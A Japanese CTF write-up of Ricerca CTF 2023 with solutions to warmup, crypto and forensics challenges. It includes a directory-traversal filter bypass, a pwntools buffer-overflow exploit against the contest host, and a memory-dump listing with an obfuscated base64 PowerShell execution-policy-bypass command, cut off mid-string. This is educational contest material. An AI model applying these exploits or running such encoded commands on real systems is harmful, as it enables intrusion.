　2023/4/22（土）10:00 JST ～ 22:00 JST に開催された「Ricerca CTF 2023」にチーム「N30Z30N」*1で参加しました。

　開始からほぼフルタイムで稼働し*2、最終結果は Warmup（全5問）+ 3問 を解いて 1077 pts（21 st / 187 teams）でした。

　あと一つ順位が上であれば、呟かれる画像にリストアップされていました。完全に日頃の行いが出てしまいましたね（自虐）。

2. 雑感（フィーリング）

　Survey にも記したのですが、一言で言えば、「CakeCTF から Cake🍰を抜いた感じ」*3でした。CakeCTF は大好きな CTF の一つなので、すぐに馴染むことができました。

　設問は Warmup を含めて 19 問あり、12 時間でソロ参加だとだいぶ厳しい感じでしたが、数名のチームで挑むのにちょうど良いのかと思います。

　問題構成としては、Warmup はどれも変な捻りがなく「Beginner Friendly」で、続いて「少しスパイスの効いた」初級～中級向け問題があり、さらに「Beginner Killer」なボス問があったので、CTF の経験多寡にかかわらず楽しめる工夫がなされていたかと思います。

　他方、開始当初にはスコアサーバや問題一覧（フィルタ機能）に若干不具合が見られたので、次回のリベンジを期待します*4。

3. Writeup（Warmup）

　Warmup 問はどれも「優しい」問題でした。「易しく」なり過ぎていないところが好感ポイントです💕。

3.1. welcome（81 pts, 166 soleved）

設問

　ルールを読み、Discord の #announcement チャンネルに投稿されたフラグを見つける。

検討

　設問に示された通り行動すれば良さそうです*5。

解法

　設問の指示に従い、ルールを読みます*6。

　その中に Official Discord へのリンクが示されていますので、そこから Discord に入り、#announcement チャンネルを表示します。

　4/22 9:59 の ptr 氏による投稿にフラグが記されていました。

フラグ

RicSec{do_U_know_wh4t_Ricerca_means_btw?}

3.2. crackme（88 pts, 134 soleved）

設問

　Linux 上で動作するプログラム（バイナリ）「crackme」が与えられます。

　問題文は「Can you crack the password?」です。

検討

　Rev の Warmup 問といえば、バイナリの中に文字列が埋め込まれている（バイナリエディタや Linux の strings コマンドで抽出できる）パターンが定番です。そこで、まずは Bz エディタ*7で開いてみましたが、残念ながらヒットしませんでした。

　問題文に戻って読み返すと、このプログラムは「パスワードを入力するとフラグが得られる」ものと読み取れます。

　【心の声】Cake🍰成分がないだけあって、甘くない。私もよくよく運のない男だな。　

　ということで、まずは IDA Free版 *8で読み込んでみて、その後の方針を決めることにしました。

解法

　IDA Free版 で crackme を読み込み、main 関数を表示してみます。

　チャートの上から 2 つ目のブロックを見てみると、「N1pp0n-Ich!_s3cuR3_p45$w0rD」という文字列が書かれています。そしてその後で strcmp （文字列比較）して、その結果を条件として分岐していることから、この文字列がパスワードであると推測できます。

　そこで実際に Linux 上でバイナリ（crackme）を実行し、パスワードとして「N1pp0n-Ich!_s3cuR3_p45$w0rD」を入力するとフラグゲットできました。

フラグ

RicSec{U_R_h1y0k0_cr4ck3r!}

3.3. Revolving Letters（93 pts, 119 soleved）

設問

　以下のスクリプト（chall.py）とその出力結果（output.txt）が与えられます。

「chall.py」

LOWER_ALPHABET = "abcdefghijklmnopqrstuvwxyz"

def encrypt(secret, key):
  assert len(secret) <= len(key)
  
  result = ""
  for i in range(len(secret)):
    if secret[i] not in LOWER_ALPHABET: # Don't encode symbols and capital letters (e.g. "A", " ", "_", "!", "{", "}")
      result += secret[i]
    else:
      result += LOWER_ALPHABET[(LOWER_ALPHABET.index(secret[i]) + LOWER_ALPHABET.index(key[i])) % 26]

  return result

flag    = input()
key     = "thequickbrownfoxjumpsoverthelazydog"
example = "lorem ipsum dolor sit amet"
example_encrypted = encrypt(example, key)
flag_encrypted = encrypt(flag, key)

print(f"{key=}")
print(f"{example=}")
print(f"encrypt(example, key): {example_encrypted}")
print(f"encrypt(flag, key): {flag_encrypted}")

「output.txt」

key='thequickbrownfoxjumpsoverthelazydog'
example='lorem ipsum dolor sit amet'
encrypt(example, key): evvug kztla qtzla exl vqvm
encrypt(flag, key): RpgSyk{qsvop_dcr_wmc_rj_rgfxsime!}

検討

　換字式の暗号ですが、換字の規則は暗号化キー文字列によって定まります。

　また、アルファベット小文字以外の文字は平文のまま（変換なし）である点にも注意します。

　一見面倒臭そうなのですが、暗号化プログラムを小改造することで復号するプログラムが作れそうです。一から自作する必要はありません。実際、「与えられたもの（敵の力）を利用する」という考え方は、色々な場面（不正プログラムの解析）で有用です。

解法

　「chall.py」を流用して復号プログラムを作成します。

　具体的には、アルファベット小文字を逆変換するよう、「LOWER_ALPHABET[(LOWER_ALPHABET.index(secret[i]) + LOWER_ALPHABET.index(key[i])) % 26]」の「+」を「-」に置き換えれば OK です。

「solve.py」

LOWER_ALPHABET = "abcdefghijklmnopqrstuvwxyz"

def decrypt(secret, key):
  assert len(secret) <= len(key)
  
  result = ""
  for i in range(len(secret)):
    if secret[i] not in LOWER_ALPHABET: # Don't encode symbols and capital letters (e.g. "A", " ", "_", "!", "{", "}")
      result += secret[i]
    else:
      result += LOWER_ALPHABET[(LOWER_ALPHABET.index(secret[i]) - LOWER_ALPHABET.index(key[i])) % 26]

  return result

key     = "thequickbrownfoxjumpsoverthelazydog"
flag    = "RpgSyk{qsvop_dcr_wmc_rj_rgfxsime!}"
print(f"flag : {decrypt(flag, key)}")

フラグ

RicSec{great_you_can_do_anything!}

3.4. Cat Café（95 pts, 113 soleved）

設問

　「Cat Café」の web サイトへの URL と、ソース一式が与えられます。

　メインとなるサーバプログラム「app.py」の内容は以下の通りです。

import flask
import os

app = flask.Flask(__name__)

@app.route('/')
def index():
    return flask.render_template('index.html')

@app.route('/img')
def serve_image():
    filename = flask.request.args.get("f", "").replace("../", "")
    path = f'images/{filename}'
    if not os.path.isfile(path):
        return flask.abort(404)
    return flask.send_file(path)

if __name__ == '__main__':
    app.run()

検討

　サイトにアクセスしてみると、可愛らしい猫の写真が飾られています（与えられたソースからも確認できます）。

　このサイトの html ソースや配布されたファイルを見ると、これらの猫の写真は「/img?f=ファイル名*9」でアクセスできる（ブラウザ上に表示できる）ことがわかります。

　他方、配布されたソースを見ると、フラグファイル（flag.txt ）は/imagesから1つ上の階層にあることが分かります。前述の「ファイル名」の部分に「../flag.txt」を設定すればフラグを表示できそうです。いわゆる「ディレクトリトラバーサル(directory traversal)」というやつです。

　しかしながら app.py をよく見ると、ファイル名に含まれる「../」をブランク（長さ0の文字列）に置き換える「簡易サニタイズ」のような処理が入っていますので、ちょっとだけ工夫が必要となります。

解法

　文字列「....//」に前述の「簡易サニタイズ」を適用すると「../」になるので、「f=....//flag.txt」とすれば「../flag.txt」が参照されることになって丁度よさげです。この「簡易サニタイズ」処理は再帰的に行われず一発のみですので、これでうまくいきます。

　実際、URL「hxxp://cat-cafe.2023.ricercactf.com:8000/img?f=....//flag.txt」（※実際にはhxxp=>http）にブラウザでアクセスすればフラグゲットできました。

フラグ

RicSec{directory_traversal_is_one_of_the_most_common_vulnearbilities}

3.5. BOFSec（97 pts, 107 soleved）

設問

　ソースコード（main.c）とバイナリ（chall）が与えられます。

「main.c」

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

typedef struct {
  char name[0x100];
  int is_admin;
} auth_t;

auth_t get_auth(void) {
  auth_t user = { .is_admin = 0 };
  printf("Name: ");
  scanf("%s", user.name);
  return user;
}

int main() {
  char flag[0x100] = {};
  auth_t user = get_auth();

  if (user.is_admin) {
    puts("[+] Authentication successful.");
    FILE *fp = fopen("/flag.txt", "r");
    if (!fp) {
      puts("[!] Cannot open '/flag.txt'");
      return 1;
    }
    fread(flag, sizeof(char), sizeof(flag), fp);
    printf("Flag: %s\n", flag);
    fclose(fp);
    return 0;
  } else {
    puts("[-] Authentication failed.");
    return 1;
  }
}

__attribute__((constructor))
void setup(void) {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(60);
}

検討

　最初に、Linux の file コマンドで下調べをします。

　「./chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8b20e650fc39b334621da16ee76a07c7491aa493, for GNU/Linux 3.2.0, not stripped」

　と出ますので、linux 上で動作する 64bit プログラムであることがわかります。

　次にソースコードを眺めますが、問題名から「バッファオーバーフロー系だな」と推測します。対象となりそうなのは「auth_t」という構造体で、メンバ変数「name」（0x100バイトのchar）と「is_admin」（int）を（この順番で）持っています。

　メンバ変数 is_admin には get_auth 関数の処理で明示的 0 が入ります。ですので、何らかの方法でこれを 0 以外に変えなければなりません。

　続けて get_auth 関数の処理を見てみると、scanf 関数で入力を受け付け、その入力データが前述のメンバ変数 name に入ります。この時入力データ長はコントロールされていないので、長さ 0x100 を超えたデータの入力も可能です。そこで、0x100バイトの適当なデータと、「64bit 整数 0x1」をバイト変換*10したデータを結合してそれを入力値とすれば、メンバ変数 is_admin の値が上書きされてうまくいきます。

解法

　以下のソルバを引数なしで実行し、ローカルで成功することを確認しました。その後同じスクリプトを引数「remote」で実行して、フラグをゲットしました。

「exploit.py」

from pwn import *
import sys

if 'remote' in sys.argv:
    r = remote('bofsec.2023.ricercactf.com', 9001)
else:
    r = process('./bofsec/chall')

buf = b'A' * 0x100
buf += p64(1)
r.sendline(buf)

r.interactive()

　ちなみに、最初「0x100」を「0x1000」と誤記し、「*** stack smashing detected ***: terminated」と怒られる失態をやらかしました。pwn の Warmup 問定番の一つである「とにかくスタックをスマッシュすればOK」的な問題へのアンチテーゼとも受け取れました。

　【心の声】やるな、リチェルカ。　

フラグ

RicSec{U_und3rst4nd_th3_b4s1c_0f_buff3r_0v3rfl0w}

4. Writeup（Warmup 以外）

4.1. Roted Secret Analysis (161 pts, 34 soleved)

設問

　問題文：A wise person once said that rotating the secret makes it safer! Huh? Isn't that what they meant?

　以下のスクリプト（chall.py）と出力データ（output.txt）が与えられます。

「chall.py」

import os
from Crypto.Util.number import bytes_to_long, getPrime, isPrime

flag = os.environ.get("FLAG", "fakeflag").encode()

while True:
  p = getPrime(1024)
  q = (p << 512 | p >> 512) & (2**1024 - 1) # bitwise rotation (cf. https://en.wikipedia.org/wiki/Bitwise_operation#Rotate)
  if isPrime(q): break

n = p * q
e = 0x10001
m = bytes_to_long(flag)

c = pow(m, e, n)

print(f'{n=}')
print(f'{e=}')
print(f'{c=}')

「output.txt」

n=24456513668907101359271796518022987404822072050667823923658615869713366383971188719969649435049035576669472727127263581903194099017975695864947929128367925596885753443249213201464273639499012909424736149608651744371555837721791748016889531637876303898022555235081004895411069645304985372521003721010862125442095042882100526577024974456438653686633405126923109918116756381929718438800103893677616376097141956262119327549521930637736951686117614349172207432863248304206515910202829219635801301165048124304406561437145821967710958494879876995451567574220240353599402105475654480414974342875582148522218019743166820077511
e=65537
c=18597341961729093099197297749831937867867316311655201999082918827905805371478429928112783157010654738161403312986940377995349388331953112844242407426040120302839420903486499187443737383169223520050969011318937950864196985991944523897440559547618789750180738003138383081085865616976666352985134179471231798760776607911573149993314296253654585181164097972479570867395976653829684069633563438561147707530130563531572708010593487686521808574459865586551335422619675302973576174518308347087901889923892503468385483111040271271572302540992212613766789315482719811321158322571666641755809592299352653626100918299699982602448

検討

　RSA の問題ですが、p と q の生成法に特徴があります。すなわち、p の上位 512 ビットと q の下位 512 ビット、p の下位 512 ビットと q の下位 512 ビットがそれぞれ一致しています。脆弱性は他に見当たらないので、ここから攻めることにします。

　、 と置くと、 ですから、 が求まればその結果を に代入して が判明します。そして、 と から が計算できます。さらに と が分かっているので「2 次方程式の解と係数の関係 」により 、 を計算でき、 と が求まります。 　 から、 の下位 512 ビットは n % 2**512で求められ、上位 512 ビットについては繰り上がりによる誤差を除けば n を 1536（=1024+512）ビット右にシフトした値になることが分かります。

解法

　上の検討結果を python で実装し、実行します。コードに汚いところがあるのは毎度のことですのでご容赦ください。

「solve.py」

from Crypto.Util.number import *
import gmpy2

n=24456513668907101359271796518022987404822072050667823923658615869713366383971188719969649435049035576669472727127263581903194099017975695864947929128367925596885753443249213201464273639499012909424736149608651744371555837721791748016889531637876303898022555235081004895411069645304985372521003721010862125442095042882100526577024974456438653686633405126923109918116756381929718438800103893677616376097141956262119327549521930637736951686117614349172207432863248304206515910202829219635801301165048124304406561437145821967710958494879876995451567574220240353599402105475654480414974342875582148522218019743166820077511
e=65537
c=18597341961729093099197297749831937867867316311655201999082918827905805371478429928112783157010654738161403312986940377995349388331953112844242407426040120302839420903486499187443737383169223520050969011318937950864196985991944523897440559547618789750180738003138383081085865616976666352985134179471231798760776607911573149993314296253654585181164097972479570867395976653829684069633563438561147707530130563531572708010593487686521808574459865586551335422619675302973576174518308347087901889923892503468385483111040271271572302540992212613766789315482719811321158322571666641755809592299352653626100918299699982602448

# p =: x * 2**512 + y
# q =: y * 2**512 + x
# n = x*y * 2**1024 + (x**2 + y**2) * 2**512 + x*y
# xy =: A * 2**512 + B => B == n % 2**512,  A ~~ n >> 1536

A_Max = n >> 1536
B = n % 2**512

i = -1
while(True):
  i += 1
  A = A_Max - i
  xy = (A << 512) + B
  x2_plus_y2 = (n - (xy * 2**1024 + xy)) >> 512
  test = gmpy2.iroot(x2_plus_y2 + 2 * xy, 2)
  if not test[1]:
    continue
  x_plus_y = test[0]
  D = x_plus_y ** 2 - 4 * xy
  if D < 0:
    continue
  test = gmpy2.iroot(D, 2)
  if not test[1]:
    continue
  sqrt_D = test[0]
  x = (x_plus_y + sqrt_D)//2
  y = (x_plus_y - sqrt_D)//2
  p = x * 2**512 + y
  if n % p == 0:
    q = n // p
    break

d = inverse(e,(p-1)*(q-1))
print(long_to_bytes(pow(c,d,n)).decode())

フラグ

RicSec{d0nt_kn0w_th3_5ecr3t_w1th0ut_r0t4t1n9!}

4.2. RSALCG (205 pts, 20 soleved)

設問

　問題文：LCG is weak, but what if it's used with RSA?

　以下のスクリプト（chall.py）と出力データ（output.txt）が与えられます。

「chall.py」

from Crypto.Util.number import getPrime, getRandomNBitInteger
import os

FLAG = os.getenv("FLAG", "RicSec{*** REDACTED ***}").encode()

def RSALCG(a, b, n):
    e = 65537
    s = getRandomNBitInteger(1024) % n
    while True:
        s = (a * s + b) % n
        yield pow(s, e, n)

def encrypt(rand, msg):
    assert len(msg) < 128
    m = int.from_bytes(msg, 'big')
    return int.to_bytes(m ^ next(rand), 128, 'big')

if __name__ == '__main__':
    n = getPrime(512) * getPrime(512)
    a = getRandomNBitInteger(1024)
    b = getRandomNBitInteger(1024)
    rand = RSALCG(a, b, n)
    print(f"{a = }")
    print(f"{b = }")
    print(f"{n = }")
    print(encrypt(rand, b"The quick brown fox jumps over the lazy dog").hex())
    pringt(encrypt(rand, FLAG).hex())
    print(encrypt(rand, b"https://translate.google.com/?sl=it&tl=en&text=ricerca").hex())

「output.txt」

a = 104932596701958568145159429432079350581741243925294416012169671604384908382893445168447905864839450402111868722373005467040643335329799448356719960809485814400987619457043584576651627652936429829564657705560266433066823589229257859375942917575729874731586891094997845427952093627170472382405528285663530612106
b = 146908709759837063143862302770110984437045635655026319928249954800644806528614554086681623417268963974691959251767647958752898163761641238519061717835899588252518767306816402052353874469376243689011218283173950163484015487529897260943257598915903245695362042234335492571429369281809958738989439275152307290506
n = 68915438454431862553872087841423255330382510660515857448975005472053459609178709434028465492773792706094321524334359097372292237742328589766664933832084854448986045922250239618283612819975877218019020936022572963433202427817150998352120028655478359887600473211365524707624162292808256010583620102295206287739
05d7913ff5cd9b6a706249ac05779f2501013ecc05caec697d9270a8a1d3bdaabf898d73410aa0ffbd361a6032adbbfa35386b2e19ec812e9f6bd52e6a2ca1b3760b3076a86ffc94dd6007d74a272e0e3d5326d9e5b01b9211a803338f5899ad6cc29877cc02ca2ff923db79e3ad477bf3820e73596088f54a8cfb187f812201
1913ba387e6f847dce455dc47092bf83571c34914b7df5875da536f11e68c8a39c78dfe69517ef4b389ea51434e071ce033854fd27c831996aa214cdc02225747a517d44408fbd0232672679bc189f26f6e9b6852a1e68e93ac14e2ce5afc1e050a44733094fe68b0477d4c4b609043e4da4e58390c4f9cf372005653c7f2529
45054a08d594bd8af1d0fac759ccc799214d0ccce8ae9c5183ef4fba296819bcdf6306f72ee34dcd5d85967fae314d6d3d65a7693b4187adce1d5375dd00c472c0310393cd5bb114602e24d481e276a4926e8886bdcfed96bb8bf9c5812d594f66e46b1737849e8e2f2c3f7b6a45e284c754cf6caf71df34efe143636b5e9079

検討

　暗号化に使う乱数取得のための LCG（Linear Congruential Generator）が用意されているのですが、出力は state（s） を e 乗して mod.n したもので、「RSALCG」と名付けられています。

　データとして貰えるのは RSALCG で使うパラメータ（a, b, n）と、フラグの暗号化結果（以下「encflag」）、さらにフラグを暗号化する前後の平文（以下「pt1」「pt2」）及び暗号化結果（以下「enc1」「enc2」）です。

　暗号化は、出力と平文との（整数値としての） xor で行っていますので、pt1 暗号化時の state を e 乗 mod.n したもの（（以下「p1e」）と pt2 暗号化時の state を e 乗 mod.n したもの（（以下「p2e」）が計算できます。

　これらの情報をもとに、Franklin-Reiter Related Message Attack でフラグ暗号化時の state を求めることができます。

解法

　多項式を扱うため、SageMath*11 のソルバを書きました。

　e = 65537 で多項式の GCD を求めるのがしんどそうなので、Crypto Player にはおなじみの「Half GCD」アルゴリズムを適用することにしました。

　※Half GCD の処理については https://github.com/death-of-rats/CTF/blob/master/Dice2021/plagiarism/sol.py から借用しています。

「solve.sage」

from Crypto.Util.number import *
import numpy as np

def decrypt(ks, msg):
    m = int.from_bytes(msg, 'big')
    return int.to_bytes(m ^^ int(ks), 128, 'big')

a = 104932596701958568145159429432079350581741243925294416012169671604384908382893445168447905864839450402111868722373005467040643335329799448356719960809485814400987619457043584576651627652936429829564657705560266433066823589229257859375942917575729874731586891094997845427952093627170472382405528285663530612106
b = 146908709759837063143862302770110984437045635655026319928249954800644806528614554086681623417268963974691959251767647958752898163761641238519061717835899588252518767306816402052353874469376243689011218283173950163484015487529897260943257598915903245695362042234335492571429369281809958738989439275152307290506
e = 0x10001

n = 68915438454431862553872087841423255330382510660515857448975005472053459609178709434028465492773792706094321524334359097372292237742328589766664933832084854448986045922250239618283612819975877218019020936022572963433202427817150998352120028655478359887600473211365524707624162292808256010583620102295206287739
enc1 = bytes.fromhex("05d7913ff5cd9b6a706249ac05779f2501013ecc05caec697d9270a8a1d3bdaabf898d73410aa0ffbd361a6032adbbfa35386b2e19ec812e9f6bd52e6a2ca1b3760b3076a86ffc94dd6007d74a272e0e3d5326d9e5b01b9211a803338f5899ad6cc29877cc02ca2ff923db79e3ad477bf3820e73596088f54a8cfb187f812201")
encflag = bytes.fromhex("1913ba387e6f847dce455dc47092bf83571c34914b7df5875da536f11e68c8a39c78dfe69517ef4b389ea51434e071ce033854fd27c831996aa214cdc02225747a517d44408fbd0232672679bc189f26f6e9b6852a1e68e93ac14e2ce5afc1e050a44733094fe68b0477d4c4b609043e4da4e58390c4f9cf372005653c7f2529")
enc2 = bytes.fromhex("45054a08d594bd8af1d0fac759ccc799214d0ccce8ae9c5183ef4fba296819bcdf6306f72ee34dcd5d85967fae314d6d3d65a7693b4187adce1d5375dd00c472c0310393cd5bb114602e24d481e276a4926e8886bdcfed96bb8bf9c5812d594f66e46b1737849e8e2f2c3f7b6a45e284c754cf6caf71df34efe143636b5e9079")
pt1 = b"The quick brown fox jumps over the lazy dog"
pt2 = b"https://translate.google.com/?sl=it&tl=en&text=ricerca"

s1e = int.from_bytes(pt1, 'big') ^^ int.from_bytes(enc1, 'big')
s2e = int.from_bytes(pt2, 'big') ^^ int.from_bytes(enc2, 'big')

R = Zmod(n)
PR.<s> = PolynomialRing(R)
a_inv = inverse(a, n)
f1 = (a_inv * (s - b))^e - s1e
f2 = (a * s + b )^e - s2e
f1 = f1.monic()
f2 = f2.monic()

####################################
# half gcd
# https://github.com/death-of-rats/CTF/blob/master/Dice2021/plagiarism/sol.py
####################################
def gcd(a0,a1):
    while True:
        print(a0.degree(), end=", ", flush=True)
        if a0 % a1 == 0:
            return a1
        if a0.degree() == a1.degree():
            a1 = a0%a1
        R = hgcd(a0,a1)
        [b0,b1] = R.dot(np.array([a0,a1]).transpose()).transpose()
        if b0%b1==0:
            return b1
        c = b0 % b1
        a0 = b1
        a1 = c


def hgcd(a0,a1):
    if a1.degree() <= (a0.degree()//2):
        return np.array([[1,0],[0,1]])

    m = a0.degree()//2
    X = a0.variables()[0]
    b0 = a0 // X**m
    b1 = a1 // X**m
    
    R = hgcd(b0,b1)
    [d,e] = (R.dot(np.array([a0,a1]).transpose())).transpose()
    ff = d % e
    m = m // 2
    g0 = e // X**m
    g1 = ff // X**m

    S = hgcd(g0,g1)
    q = d // e
    return S.dot(np.array([[0,1],[1,-q]])).dot(R)
##########################################

g = gcd(f1,f2)

coeffs = g.coefficients()
s = -coeffs[0]//coeffs[1]

ks = pow(s,e,n)

print(decrypt(ks, encflag))

フラグ

RicSec{1_7h1nk_y0u_uNd3r5t4nd_ev3ry7h1ng_4b0ut_Franklin-Reiter's_a7t4ck}

4.3. My name is Power! (257 pts, 12 soleved)

設問

　問題文は「Show me your Power!」です。

　約 1 GB（展開すると約 4GB）のメモリイメージが与えられます。

検討

　最初は「Power」=「力技」と捉え、「壊れた画像とかが複数枚出てきて、修復着て重ね合わせると QR コードが出てくる」といった類なのかという筋読みのもと、Bulk Extractor でカービングをしてみたのですが、特にめぼしいものは見つかりませんでした。山村警部（@名探偵コナン）顔負けの「へっぽこ推理」で時間を溶かしまいました。残念。

　気を取り直して・・・そういえばリチェルカセキュリティさんはトレーニングサービスもやっているから、むしろ王道系の出題の方があり得るな・・・ということで、ちゃんとメモリフォレンジックをやることにしました。そう考えた時、「Power」=「Powershell」であると推測できました。

　そこでようやく、「Volatility3*12を使って情報を収集し、得られたデータを分析してゆく」という正しい方針が立ちました。

※手許の Volatiity3 環境が壊れていたので、再度セットアップをし直しました。

解法

　最初に、windows.cmdline でコマンドラインの情報を収集します。

「vol -f memory.raw windows.cmdline」の結果

Volatility 3 Framework 2.4.2

PID Process Args

4   System  Required memory at 0x20 is not valid (process exited?)
104 Registry    Required memory at 0x20 is not valid (process exited?)
436 smss.exe    \SystemRoot\System32\smss.exe

（中略）

8032    SystemSettings  Required memory at 0x4f4c01a020 is not valid (process exited?)
2068    powershell.exe  pOwERsHEll  -eP bYpASs -e JgAgACgAIAAkAFAAcwBIAE8AbQBlAFsANABdACsAJABwAHMASABvAE0ARQBbADMANABdACsAJwBYACcAKQAoACAATgBFAFcALQBvAEIAagBFAEMAdAAgAEkATwAuAEMATwBtAFAAcgBFAHMAcwBpAG8ATgAuAEQAZQBmAGwAYQB0AEUAUwBUAHIAZQBhAE0AKABbAHMAeQBTAHQARQBNAC4ASQBvAC4ATQBlAG0ATwBSAFkAUwB0AHIAZQBBAE0AXQAgAFsAQwBvAE4AdgBFAHIAVABdADoAOgBmAFIAbwBNAEIAQQBTAGUANgA0AFMAdABSAGkATgBnACgAJwBmAFYAZABaAGMAOQBwAEkARQBQADQAcgBVADYAbgBkAEkAQgBXAEkAUQBnAGYAWQBRAFAAawBCAFkAOQBtAFEAbQBHAE0AQgB1ACsASwBsAGUASgBEAGwAdwBTAGoARwBFAGgAYQBLAGIAVQBxAGwALwA3ADUAZgB6AHkARgBJAEgAagBaAGwATgBEADAAOQAzAFQAMwBUAGQANABmAFYAbQBjAEgAKwBlAHYAZgBUAHgAOABtAGUAVAAxAFAALwBtAHMALwA0AE8AUABUAHIAaQAyAFMALwBTAEkAZgB4AHMAMgBFAHUANwBaAHEANwBxAGwAWgArAFYASwB5AGYAawAyAGgAYwBxAFoAZwBHAC8AbgAzAEoAbgBYAGEAUgBOADQAdgBjAFAAYwBlAEMAMQBTADUAeQByADEAWABrAHoAaABsACsAKwBBAFAAbwB1AHYAZwBSAEcAcQB1AEQARgBmAFMARQBwAFYAUAB3AHUATgBpADYASAB2AGkASQBsADIAUQBBAGIAbwBMAFMAQgBvADAASABJAFkAUQBDAGsAdwAxAFUAcwB3AEUAVwB1AGcAcABvAEYAOABkAE4ARQBrAEYAQwBzAFIASQBIAEoASQBIAFoAQgBWAFUAVABGAEIANgAyAEIARQBLAEEAZwA5AFcAagBIAHcAZwA5AEMASABOAEEANQB0AEYAOQB0AEsAZQA3ADYAWABXAGcAcwAwAEYAagBnADcAVQBKADQAVgBoAHMAawB0AFkAcwB2AGwAagByAFMAagA2ADkAKwAwAHkAVAB6AFgAeABRAHgAZQAvAHoAMABWAG8AVgBVAGEANQAyAE8ARgBrAFcAagAwAFIAdwBRAFYAaQB4AHYAYQBRAGwATgA2AHQAVgBpAGUAaABlAEQANABQAE4ANAB2ADMAaAAyADAAMwBzADQAMwB0AGIAcQBWAFgAQQB5AEgAZwAvADIATwA3ADQAegBQAEwAYwAxAFMAegBZADkASgBjADEAcwAzAEUAbQBvAGEAcQByAGcAYgBPADIAQgBJAHkAUwBtAHIAWABjAEYAUQBRAE0AdQBrAFcAMwAwAFcAaQB4AC8AVgBPAGMAaABIAHgAdQBNAFgAUAAzAEUAbQAzAG4AVgBwAFkARwAyAFIAeABnAGIAZgBjAEMASwBnAEQAWgBUAHUANgBpAFEAOQBxAHYASAA3AEkAbwAvAFIAVgBpAHMANwBZAFkASABsAFUANABlAGQASABLAGkAMgBaAGUAdABQAFAAQwB6AFEAcwA3AEwAeABwADUAYwBaAFkAWABZAEIAVQA4AC8AQwBjACsAYgBHADAAcAAyAGcAYQBSAEEARABiAHEAUwBuAGwAMgB3AFkAbwBOAFYARgBMAGIAdQBkAEMAVwBYAHAATAB5AHAAKwBnADkAVQBUAGYAegBIAGoANgBiAE8AWQBTAHkAMwBHAEQATABHAGIALwBoAFAAMQBhAGQAegBtAHMAdgA2AHcALwA4AHYAZgBIAHYAMQBZADAASgBaAHYAeQBOAG8AOABrADMAYQA5AFYAMABhAGsAMgA3ADUAaQAzADcALwBoAFEAcwBVAHYATAB6AG0ATgAvAGkANAByAHEAMABOAEsAcwAxAFcARQAyAEMAQgBuADkASgAzAHUATgBoAG4AUwA3AGQAeAAwAEYASwBOADAAbgA3AEUAbAB2AEcAOQB6AGsAegBiAGYAYgBHAEwAWABZAEkAcgB1AG8AbQB6ADQASQByAEsAKwBNADMAQgBuAHUASwBBADQAdAA1ADcARQAwAFMARgB3AE0AaAA5ADQASwBzAGMAdQBEAFEANgBFAFgAYwAxAHAATQBLAG0AYwBWADMAZQBaAGMAUwBlADMATABsAFQAcQBPAGkAbQBvAEwASQA1AHYAeABHAHEANQA0AGQATABvAFcANQByADkAWABwAG4ANABZAHMANwBvAFIAawB3AEkATgA5AFEASwBiADAARgA3ACsAbQBJADYAdwBUAC8ARQBMAHgAQwBIAEQAaABrAFQAQwB5AHMAQQBiADUAZgBxAGYAOQBFADMAeABrADYAMgBUAHUAVAAzAFkAdgBTAHIAegBBAHIAdABYAGwAMQA0AHMAKwBIAFEAbgA0AEUAeQB4AFMAUwBlAEcAZgBWADQAWAAyAHoANgA4AFgAZAAvAFgAcwBVADcASAB6AFIAYgAxADgAKwBQADYAZwA0AGkAaAA2AFYAbQBzAGMAUABTAFYAaABUAEIAZABBAEcAQwB5ADYAeQBlAEoAawBkAEcASgBUAFkAdwAwAHYARAB3AHkARAB3AGEATwBNAHoARQBGAGgASQBvAEIAMABlAEQAUABJAEYAcwBuAFcAWAB5ADgASQBaAFYAcgBmAGsAaQBoAG0AMAB1AGsAbQBPADAAcwB6ADkAdABWAGcAdwB4AEgARQAxAGcAcwB1AFAAVQBGADYAMABwAFAAZwBrAHQASgAwADkANwBEAEoAOABNAFEAeABvAEsARwBEAG8AUABCAHkAVwBKAFgAaQBxADcAZwBDAGkAWgBEAFEAVgBWAHkAbQB3AFgARQBBAGcAZwBhAGkAKwAxAHcAWQBYAGUAUgBLAEYAaQBxAHQASABpAGYAVwBCAHgAKwBMAGQAQwBGAFAAcABNAGsAYQBEAHEAYwBRADEAdQBlAFAAdABqAGEAbwBxACsAMABNADIAagAzADIAeAB0AGQAdQA4AGUAUgBMAG8ANQBJAEgARgArAC8AawBtAEMAZQBpADEAcwA5AFgAaQBUAGoAMQBrAGIAbgBNADEARwA4AFMAdQBDAEUAUgA2ACsAegBrADkATQBxADAAYgB4AEUATgBvAEoAZQBJAEQAdABmAE0ARwBJADQAZQBlAFAAegBlADYAVQA5AEcAMAA3AHUARgBQAHgAdgAzAFIAagA2AHoAKwBCAHUAWgBlAEQAYgBzAHoALwAwACsAWgBZACsAKwBqAEEAUgBGADcAeQBsAFgATQB1AGYASgBTAFgAUwBLAFkASgBWAHIAdABqAHQAbwA1AGUAYgBhADMAOAA4ADYAVwBTAEYAcgBqAEYAZQBZAEQAbABXAGUAUQBiAGgAYwBQAGMAZgBEADIAVwBLAFAANgB1AFEAMQBKAGEAWgBxADIANwBhAEMAdgBJAGEAQwBEAEkAcABnAEgAdgBhADIAVQA3AEoALwBTAGoANABTAFIAcgB4AFcAVQBwAE4ATgBSADAARgAzAGEAbAAzADAAagAvAGsAaQBnAGoAYgBaAEoAMgBrAFkASwBlAFMAbwBwAFkAQgBrAG8ANwBWAHAASgBaAHQATQBnAGYAMwB2AG0AaQB1AFoAdAB4AFMAVQBCAGgAOQBsAHQAYQBEADkAUwA1AGgAcwBMADcAZQBCAE8ASgBXAFYAVQBOAGMAcwBWAGYAdABrAHMAVgBOAEkAUgA2ADAAeQBLAGUARgBWAEcAWQBYADgAMQB6AGEANABsADcAVQAxADUAbQBWAGUAUABjAG0ATQBSAGwARwBYAFQARgBwAEkAbQBkAFcATQB2AHcAWQA2AFIAZABWAFoASABGADIALwBJAHIAUQAwAHAAeQBvAEMAVgBIAE4AUABiADYAWQA4AG4AMgAvADQANwBlADMAdwBhAG0AbQB2AHEAbgBBACsANwBiAFkAUgBkAHUAaQA5ADEASABzAG8AZQBvAHEAdQBMAEYAcQBCAHIAdQB3ADYAVQBiAFcAcAArAEgATQBRAEsANwBIAEIAcQBOAFYAMABlAGcAbwAvAG0ATgBjAFAAcABlAE0AaABBADYAcABTAEIAY